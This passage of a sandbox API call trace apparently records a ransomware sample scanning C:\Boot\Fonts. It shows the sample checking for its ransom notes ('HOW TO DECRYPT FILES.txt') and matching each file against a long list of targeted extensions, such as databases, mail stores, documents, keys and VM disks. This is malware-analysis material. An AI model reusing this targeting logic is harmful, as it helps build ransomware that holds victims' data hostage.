lpString2="kor_boot.ttf") returned -1 [0057.275] PathFindFileNameA (pszPath="C:\\Boot\\Fonts\\jpn_boot.ttf") returned="jpn_boot.ttf" [0057.275] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\Fonts\\" | out: lpString1="C:\\Boot\\Fonts\\") returned="C:\\Boot\\Fonts\\" [0057.275] PathAddBackslashA (in: pszPath="C:\\Boot\\Fonts\\" | out: pszPath="C:\\Boot\\Fonts\\") returned="" [0057.275] lstrcatA (in: lpString1="C:\\Boot\\Fonts\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt" [0057.275] GetFileAttributesA (lpFileName="C:\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\fonts\\how to decrypt files.txt")) returned 0x20 [0057.275] lstrcatA (in: lpString1="C:\\Boot\\Fonts\\", lpString2="kor_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\kor_boot.ttf") returned="C:\\Boot\\Fonts\\kor_boot.ttf" [0057.275] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.ems") returned 0 [0057.275] lstrlenA (lpString="*.ems") returned 5 [0057.275] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.db") returned 0 [0057.275] lstrlenA (lpString="*.db") returned 4 [0057.275] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.dbf") returned 0 [0057.275] lstrlenA (lpString="*.dbf") returned 5 [0057.275] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.myox") returned 0 [0057.275] lstrlenA (lpString="*.myox") returned 6 [0057.275] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.myo") returned 0 [0057.275] lstrlenA (lpString="*.myo") returned 5 [0057.275] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.qbw") returned 0 [0057.275] lstrlenA (lpString="*.qbw") returned 5 [0057.275] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.qbb") returned 0 [0057.276] lstrlenA (lpString="*.qbb") returned 5 [0057.276] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.qbm") returned 0 [0057.276] lstrlenA (lpString="*.qbm") returned 5 [0057.276] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.qbo") returned 0 [0057.276] lstrlenA (lpString="*.qbo") returned 5 [0057.276] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.qbx") returned 0 [0057.276] lstrlenA (lpString="*.qbx") returned 5 [0057.276] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.qba") returned 0 [0057.276] lstrlenA (lpString="*.qba") returned 5 [0057.276] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.qby") returned 0 [0057.276] lstrlenA (lpString="*.qby") returned 5 [0057.276] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.qbj") returned 0 [0057.276] lstrlenA (lpString="*.qbj") returned 5 [0057.276] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.ofx") returned 0 [0057.276] lstrlenA (lpString="*.ofx") returned 5 [0057.276] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.qif") returned 0 [0057.276] lstrlenA (lpString="*.qif") returned 5 [0057.276] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.mye") returned 0 [0057.276] lstrlenA (lpString="*.mye") returned 5 [0057.276] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.mbox") returned 0 [0057.276] lstrlenA (lpString="*.mbox") returned 6 [0057.276] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.eml") returned 0 [0057.276] lstrlenA (lpString="*.eml") returned 5 [0057.276] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.pst") returned 0 [0057.276] lstrlenA (lpString="*.pst") returned 5 [0057.276] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.ost") returned 0 [0057.276] lstrlenA (lpString="*.ost") returned 5 [0057.277] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.idx") returned 0 [0057.277] lstrlenA (lpString="*.idx") returned 5 [0057.277] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.dbx") returned 0 [0057.277] lstrlenA (lpString="*.dbx") returned 5 [0057.277] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.sql") returned 0 [0057.277] lstrlenA (lpString="*.sql") returned 5 [0057.277] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.mdb") returned 0 [0057.277] lstrlenA (lpString="*.mdb") returned 5 [0057.277] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.fdb") returned 0 [0057.277] lstrlenA (lpString="*.fdb") returned 5 [0057.277] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.wab") returned 0 [0057.277] lstrlenA (lpString="*.wab") returned 5 [0057.277] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.dat") returned 0 [0057.277] lstrlenA (lpString="*.dat") returned 5 [0057.277] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.txt") returned 0 [0057.277] lstrlenA (lpString="*.txt") returned 5 [0057.277] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.jpeg") returned 0 [0057.277] lstrlenA (lpString="*.jpeg") returned 6 [0057.277] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.jpg") returned 0 [0057.277] lstrlenA (lpString="*.jpg") returned 5 [0057.277] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.png") returned 0 [0057.277] lstrlenA (lpString="*.png") returned 5 [0057.277] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.php") returned 0 [0057.278] lstrlenA (lpString="*.php") returned 5 [0057.278] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.cs") returned 0 [0057.278] lstrlenA (lpString="*.cs") returned 4 [0057.278] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.cpp") returned 0 [0057.278] lstrlenA (lpString="*.cpp") returned 5 [0057.278] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.rar") returned 0 [0057.278] lstrlenA (lpString="*.rar") returned 5 [0057.278] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.zip") returned 0 [0057.278] lstrlenA (lpString="*.zip") returned 5 [0057.278] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.html") returned 0 [0057.278] lstrlenA (lpString="*.html") returned 6 [0057.278] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.htm") returned 0 [0057.278] lstrlenA (lpString="*.htm") returned 5 [0057.278] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.xlsx") returned 0 [0057.278] lstrlenA (lpString="*.xlsx") returned 6 [0057.278] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.xls") returned 0 [0057.278] lstrlenA (lpString="*.xls") returned 5 [0057.278] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.mp4") returned 0 [0057.278] lstrlenA (lpString="*.mp4") returned 5 [0057.278] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.ppt") returned 0 [0057.278] lstrlenA (lpString="*.ppt") returned 5 [0057.278] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.pptx") returned 0 [0057.278] lstrlenA (lpString="*.pptx") returned 6 [0057.278] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.doc") returned 0 [0057.278] lstrlenA (lpString="*.doc") returned 5 [0057.279] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.dot") returned 0 [0057.279] lstrlenA (lpString="*.dot") returned 5 [0057.279] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.docx") returned 0 [0057.279] lstrlenA (lpString="*.docx") returned 6 [0057.279] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.7z") returned 0 [0057.279] lstrlenA (lpString="*.7z") returned 4 [0057.279] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.tar") returned 0 [0057.279] lstrlenA (lpString="*.tar") returned 5 [0057.279] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.bz2") returned 0 [0057.279] lstrlenA (lpString="*.bz2") returned 5 [0057.279] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.gz") returned 0 [0057.279] lstrlenA (lpString="*.gz") returned 4 [0057.279] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.mkv") returned 0 [0057.279] lstrlenA (lpString="*.mkv") returned 5 [0057.279] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.eml") returned 0 [0057.279] lstrlenA (lpString="*.eml") returned 5 [0057.279] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.msg") returned 0 [0057.279] lstrlenA (lpString="*.msg") returned 5 [0057.279] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.edb") returned 0 [0057.279] lstrlenA (lpString="*.edb") returned 5 [0057.279] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.accdb") returned 0 [0057.279] lstrlenA (lpString="*.accdb") returned 7 [0057.279] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.odb") returned 0 [0057.279] lstrlenA (lpString="*.odb") returned 5 [0057.279] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.java") returned 0 [0057.280] lstrlenA (lpString="*.java") returned 6 [0057.280] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.asm") returned 0 [0057.280] lstrlenA (lpString="*.asm") returned 5 [0057.280] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.pfx") returned 0 [0057.280] lstrlenA (lpString="*.pfx") returned 5 [0057.280] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.pem") returned 0 [0057.280] lstrlenA (lpString="*.pem") returned 5 [0057.280] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.p12") returned 0 [0057.280] lstrlenA (lpString="*.p12") returned 5 [0057.280] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.gpg") returned 0 [0057.280] lstrlenA (lpString="*.gpg") returned 5 [0057.280] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.vsd") returned 0 [0057.280] lstrlenA (lpString="*.vsd") returned 5 [0057.280] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.odg") returned 0 [0057.280] lstrlenA (lpString="*.odg") returned 5 [0057.280] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.raw") returned 0 [0057.280] lstrlenA (lpString="*.raw") returned 5 [0057.280] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.nef") returned 0 [0057.280] lstrlenA (lpString="*.nef") returned 5 [0057.280] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.svg") returned 0 [0057.280] lstrlenA (lpString="*.svg") returned 5 [0057.280] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.psd") returned 0 [0057.280] lstrlenA (lpString="*.psd") returned 5 [0057.280] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.vmx") returned 0 [0057.280] lstrlenA (lpString="*.vmx") returned 5 [0057.280] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.vmdk") returned 0 [0057.280] lstrlenA (lpString="*.vmdk") returned 6 [0057.280] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.vdi") returned 0 [0057.281] lstrlenA (lpString="*.vdi") returned 5 [0057.281] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.lay6") returned 0 [0057.281] lstrlenA (lpString="*.lay6") returned 6 [0057.281] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.mpeg") returned 0 [0057.281] lstrlenA (lpString="*.mpeg") returned 6 [0057.281] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.djvu") returned 0 [0057.281] lstrlenA (lpString="*.djvu") returned 6 [0057.281] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.tiff") returned 0 [0057.281] lstrlenA (lpString="*.tiff") returned 6 [0057.281] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.backup") returned 0 [0057.281] lstrlenA (lpString="*.backup") returned 8 [0057.281] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.pdf") returned 0 [0057.281] lstrlenA (lpString="*.pdf") returned 5 [0057.281] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.cert") returned 0 [0057.281] lstrlenA (lpString="*.cert") returned 6 [0057.281] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.docm") returned 0 [0057.281] lstrlenA (lpString="*.docm") returned 6 [0057.281] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.xlsm") returned 0 [0057.281] lstrlenA (lpString="*.xlsm") returned 6 [0057.281] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.dwg") returned 0 [0057.281] lstrlenA (lpString="*.dwg") returned 5 [0057.281] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.nd") returned 0 [0057.281] lstrlenA (lpString="*.nd") returned 4 [0057.281] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.tlg") returned 0 [0057.281] lstrlenA (lpString="*.tlg") returned 5 [0057.281] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.lgb") returned 0 [0057.281] lstrlenA (lpString="*.lgb") returned 5 [0057.281] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.mov") returned 0 [0057.281] lstrlenA (lpString="*.mov") returned 5 [0057.282] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.xdw") returned 0 [0057.282] lstrlenA (lpString="*.xdw") returned 5 [0057.282] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.ods") returned 0 [0057.282] lstrlenA (lpString="*.ods") returned 5 [0057.282] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.wav") returned 0 [0057.282] lstrlenA (lpString="*.wav") returned 5 [0057.282] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.mp3") returned 0 [0057.282] lstrlenA (lpString="*.mp3") returned 5 [0057.282] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.aiff") returned 0 [0057.282] lstrlenA (lpString="*.aiff") returned 6 [0057.282] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.flac") returned 0 [0057.282] lstrlenA (lpString="*.flac") returned 6 [0057.282] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.m4a") returned 0 [0057.282] lstrlenA (lpString="*.m4a") returned 5 [0057.282] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\kor_boot.ttf", pszSpec="*.csv") returned 0 [0057.282] lstrlenA (lpString="*.csv") returned 5 [0057.282] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0057.282] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.283] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="wgl4_boot.ttf") returned -1 [0057.283] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="wgl4_boot.ttf") returned -1 [0057.283] lstrcmpiA (lpString1="", lpString2="wgl4_boot.ttf") returned -1 [0057.283] PathFindFileNameA (pszPath="C:\\Boot\\Fonts\\kor_boot.ttf") returned="kor_boot.ttf" [0057.283] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\Fonts\\" | out: lpString1="C:\\Boot\\Fonts\\") returned="C:\\Boot\\Fonts\\" [0057.283] PathAddBackslashA (in: pszPath="C:\\Boot\\Fonts\\" | out: pszPath="C:\\Boot\\Fonts\\") returned="" [0057.283] lstrcatA (in: lpString1="C:\\Boot\\Fonts\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt" [0057.283] GetFileAttributesA (lpFileName="C:\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\fonts\\how to decrypt files.txt")) returned 0x20 [0057.283] lstrcatA (in: lpString1="C:\\Boot\\Fonts\\", lpString2="wgl4_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned="C:\\Boot\\Fonts\\wgl4_boot.ttf" [0057.283] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.ems") returned 0 [0057.283] lstrlenA (lpString="*.ems") returned 5 [0057.283] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.db") returned 0 [0057.283] lstrlenA (lpString="*.db") returned 4 [0057.283] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.dbf") returned 0 [0057.283] lstrlenA (lpString="*.dbf") returned 5 [0057.283] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.myox") returned 0 [0057.283] lstrlenA (lpString="*.myox") returned 6 [0057.283] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.myo") returned 0 [0057.283] lstrlenA (lpString="*.myo") returned 5 [0057.283] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.qbw") returned 0 [0057.283] lstrlenA (lpString="*.qbw") returned 5 [0057.283] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.qbb") returned 0 [0057.283] lstrlenA (lpString="*.qbb") returned 5 [0057.283] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.qbm") returned 0 [0057.283] lstrlenA (lpString="*.qbm") returned 5 [0057.283] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.qbo") returned 0 [0057.283] lstrlenA (lpString="*.qbo") returned 5 [0057.284] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.qbx") returned 0 [0057.284] lstrlenA (lpString="*.qbx") returned 5 [0057.284] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.qba") returned 0 [0057.284] lstrlenA (lpString="*.qba") returned 5 [0057.284] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.qby") returned 0 [0057.284] lstrlenA (lpString="*.qby") returned 5 [0057.284] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.qbj") returned 0 [0057.284] lstrlenA (lpString="*.qbj") returned 5 [0057.284] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.ofx") returned 0 [0057.284] lstrlenA (lpString="*.ofx") returned 5 [0057.284] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.qif") returned 0 [0057.284] lstrlenA (lpString="*.qif") returned 5 [0057.284] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.mye") returned 0 [0057.284] lstrlenA (lpString="*.mye") returned 5 [0057.284] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.mbox") returned 0 [0057.284] lstrlenA (lpString="*.mbox") returned 6 [0057.284] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.eml") returned 0 [0057.284] lstrlenA (lpString="*.eml") returned 5 [0057.284] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.pst") returned 0 [0057.284] lstrlenA (lpString="*.pst") returned 5 [0057.284] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.ost") returned 0 [0057.284] lstrlenA (lpString="*.ost") returned 5 [0057.284] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.idx") returned 0 [0057.284] lstrlenA (lpString="*.idx") returned 5 [0057.284] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.dbx") returned 0 [0057.284] lstrlenA (lpString="*.dbx") returned 5 [0057.284] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.sql") returned 0 [0057.284] lstrlenA (lpString="*.sql") returned 5 [0057.285] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.mdb") returned 0 [0057.285] lstrlenA (lpString="*.mdb") returned 5 [0057.285] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.fdb") returned 0 [0057.285] lstrlenA (lpString="*.fdb") returned 5 [0057.285] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.wab") returned 0 [0057.285] lstrlenA (lpString="*.wab") returned 5 [0057.285] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.dat") returned 0 [0057.285] lstrlenA (lpString="*.dat") returned 5 [0057.285] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.txt") returned 0 [0057.285] lstrlenA (lpString="*.txt") returned 5 [0057.285] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.jpeg") returned 0 [0057.285] lstrlenA (lpString="*.jpeg") returned 6 [0057.285] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.jpg") returned 0 [0057.285] lstrlenA (lpString="*.jpg") returned 5 [0057.285] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.png") returned 0 [0057.285] lstrlenA (lpString="*.png") returned 5 [0057.285] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.php") returned 0 [0057.285] lstrlenA (lpString="*.php") returned 5 [0057.286] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.cs") returned 0 [0057.286] lstrlenA (lpString="*.cs") returned 4 [0057.286] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.cpp") returned 0 [0057.286] lstrlenA (lpString="*.cpp") returned 5 [0057.286] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.rar") returned 0 [0057.286] lstrlenA (lpString="*.rar") returned 5 [0057.286] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.zip") returned 0 [0057.286] lstrlenA (lpString="*.zip") returned 5 [0057.286] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.html") returned 0 [0057.286] lstrlenA (lpString="*.html") returned 6 [0057.286] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.htm") returned 0 [0057.286] lstrlenA (lpString="*.htm") returned 5 [0057.286] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.xlsx") returned 0 [0057.286] lstrlenA (lpString="*.xlsx") returned 6 [0057.286] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.xls") returned 0 [0057.286] lstrlenA (lpString="*.xls") returned 5 [0057.286] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.mp4") returned 0 [0057.286] lstrlenA (lpString="*.mp4") returned 5 [0057.286] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.ppt") returned 0 [0057.286] lstrlenA (lpString="*.ppt") returned 5 [0057.286] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.pptx") returned 0 [0057.286] lstrlenA (lpString="*.pptx") returned 6 [0057.286] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.doc") returned 0 [0057.286] lstrlenA (lpString="*.doc") returned 5 [0057.286] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.dot") returned 0 [0057.286] lstrlenA (lpString="*.dot") returned 5 [0057.286] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.docx") returned 0 [0057.286] lstrlenA (lpString="*.docx") returned 6 [0057.286] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.7z") returned 0 [0057.286] lstrlenA (lpString="*.7z") returned 4 [0057.286] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.tar") returned 0 [0057.286] lstrlenA (lpString="*.tar") returned 5 [0057.286] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.bz2") returned 0 [0057.287] lstrlenA (lpString="*.bz2") returned 5 [0057.287] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.gz") returned 0 [0057.287] lstrlenA (lpString="*.gz") returned 4 [0057.287] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.mkv") returned 0 [0057.287] lstrlenA (lpString="*.mkv") returned 5 [0057.287] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.eml") returned 0 [0057.287] lstrlenA (lpString="*.eml") returned 5 [0057.287] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\wgl4_boot.ttf", pszSpec="*.msg") returned 0 [0057.287] lstrlenA (lpString="*.msg") returned 5 [0057.287] PathMatchSpecA 